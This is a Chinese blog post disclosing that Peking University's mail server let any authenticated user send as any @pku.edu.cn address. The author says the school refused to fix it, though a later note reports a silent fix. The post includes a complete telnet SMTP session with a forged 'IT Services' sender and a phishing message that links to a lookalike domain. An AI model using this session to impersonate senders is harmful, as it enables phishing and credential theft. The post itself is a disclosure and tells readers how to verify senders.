Update [2022]:该问题已静默修复。
对于 @pku.edu.cn
的邮箱账号,每个用户都可以设置多个别名,比如我拥有 noreply@
与 学号@
等多个前缀。对于 PKU Mail
的服务端来说,服务端在实现别名的时候实现出了明显的问题,导致任何一个用户都可以任选自己的发信前缀;换言之,每个拥有
PKU Mail 的用户都可以伪装成任何 PKU 用户进行发信。
举例来说,假设你是 [email protected]
,密码是
P@ssw0rd
。首先我们把用户名和密码都使用 base64
编码,编码的结果是 YmFkZ3V5QHBrdS5lZHUuY24=
与
UEBzc3cwcmQ=
。利用
telnet mail.pku.edu.cn 25
,然后输入如下命令:
ehlo smtp.pku.edu.cn
auth login
YmFkZ3V5QHBrdS5lZHUuY24= # base64(username)
UEBzc3cwcmQ= # base64(password)
mail from:<[email protected]>
rcpt to:<[email protected]>
data
From: "IT Services" <[email protected]>
To: "Bob" <[email protected]>
Date: Thu, 23 Sep 2021 11:11:11 +0800 (GMT+08:00)
Subject: Your email is hacked!
Your email is hacked. Please log in to https://mail.pku-edu.cf/ to reset your password.
.
quit
你就可以以 [email protected]
发送一封钓鱼邮件。
注意到,上面的这个极小例子中,有三个和发件有关的邮箱。第一个是验证邮箱(下称 Auth),一个是 mail from 后面的邮箱(下称 Sender),一个是 data 里面 From 后面的邮箱(下称 From)。
对于正常的邮箱服务端来说,一般验证的是 Auth = Sender 才能发送,但
From 应当可以随意设定;在 From \(\neq\)
Sender 的时候,客户端会显示为“发件人 From
(由
Sender
代发)”。客户端不会看到 Auth
的任何信息。
但对 PKU Mail 的服务端来说,三个之间可以任意设定,因此可以完全伪装其他人发送信息。
在联系计算中心之后,计算中心给出了如下的回复:
由于北大邮箱用户每人有 学工号@pku.edu.cn和 别名@pku.edu.cn 这2个邮件地址,使用客户端发信时,北大邮件服务器不能要求认证用户和发信人一致。这是历史原因造成的。
如果北大邮件服务器上增加这个限制,将使得现有的大量客户端用户都可能需要修改客户端软件设置,可能影响到他们使用北大邮箱。
邮件系统反垃圾邮件有很多措施,我们还有其他的安全措施来防范垃圾邮件。
这样的回复给人一种不负责任的踢皮球之感。首先,我当然知道这个邮件别名的问题,我就是在测试邮件别名发件的时候才发现这个问题的;其次,正确的解决方案不应该是保证 Auth = Sender,而是要求 Auth 和 Sender 属于同一个用户(人)。
举个例子来说,Gmail
在注册一个邮箱之后,允许你加入任意的半角句点、或者加上一个加号和一个后缀当作别名(Sender);例如
[email protected]
拥有 [email protected]
与
[email protected]
。Gmail
的邮件服务器在收到发件请求之后会验证 Auth 和
Sender,因此这证明了这样的验证方式技术上是可行的。
所以,对于一般用户(不仅仅是 PKU Mail 用户,而是任何收到来自
@pku.edu.cn
的人)而言,需要知道任何来自
@pku.edu.cn
的邮件都不能保证发件人是真人。对于敏感内容而言,请务必核实身份。注意到,这一方法只适用于发件,不适用于收件,因此如果主动询问了该用户、并且收到了回复,相对来说较为可信。此外,也可以通过其他非邮箱途径验证真实性。
此外,邮件点对点加密(S/MIME 或 GnuPG)也可以通过密码学方案验证发件人的真实性,因此敏感邮件内容请务必采用相关方法,并通过线下等安全方法验证密钥。
我之所以在此公开这一问题,不是因为垃圾邮件什么的,而是这种伪造发信会极大降低
@pku.edu.cn
邮件的可信度;由于计算中心拒绝修复这一问题,而这一方法可以被恶意利用来往互联网的所有地方发信,因此整个互联网都理应知道这一问题,才能避免蒙受损失。